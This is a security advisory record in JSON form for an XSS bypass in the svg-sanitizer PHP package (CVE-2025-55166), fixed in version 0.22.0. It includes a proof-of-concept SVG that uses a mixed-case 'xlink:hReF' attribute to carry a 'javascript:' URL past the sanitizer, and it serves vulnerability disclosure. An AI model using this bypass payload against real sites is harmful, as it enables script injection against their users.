{"id":"GHSA-22wq-q86m-83fh","summary":"svg-sanitizer Bypasses Attribute Sanitization","details":"#### Problem\n\nThe sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains.\n\n#### Proof-of-concept\n_provided by azizk_\n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"100\" height=\"100\"\u003e\n  \u003ca xlink:hReF=\"javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"100\" height=\"50\" fill=\"red\"\u003e\u003c/rect\u003e\n    \u003ctext x=\"50\" y=\"30\" text-anchor=\"middle\" fill=\"white\"\u003eClick me\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n#### Credits\n\nThe mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk \u003cmedazizknani@gmail.com\u003e`.","aliases":["CVE-2025-55166"],"modified":"2025-08-12T20:42:20.247581Z","published":"2025-08-12T20:20:58Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-08-12T20:20:58Z","nvd_published_at":"2025-08-12T17:15:39Z","cwe_ids":["CWE-601","CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55166"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1"},{"type":"PACKAGE","url":"https://github.com/darylldoyle/svg-sanitizer"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0"}],"affected":[{"package":{"name":"enshrined/svg-sanitize","ecosystem":"Packagist","purl":"pkg:composer/enshrined/svg-sanitize"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.2.1","0.20.0","0.21.0","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.5.3.1","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-22wq-q86m-83fh/GHSA-22wq-q86m-83fh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]}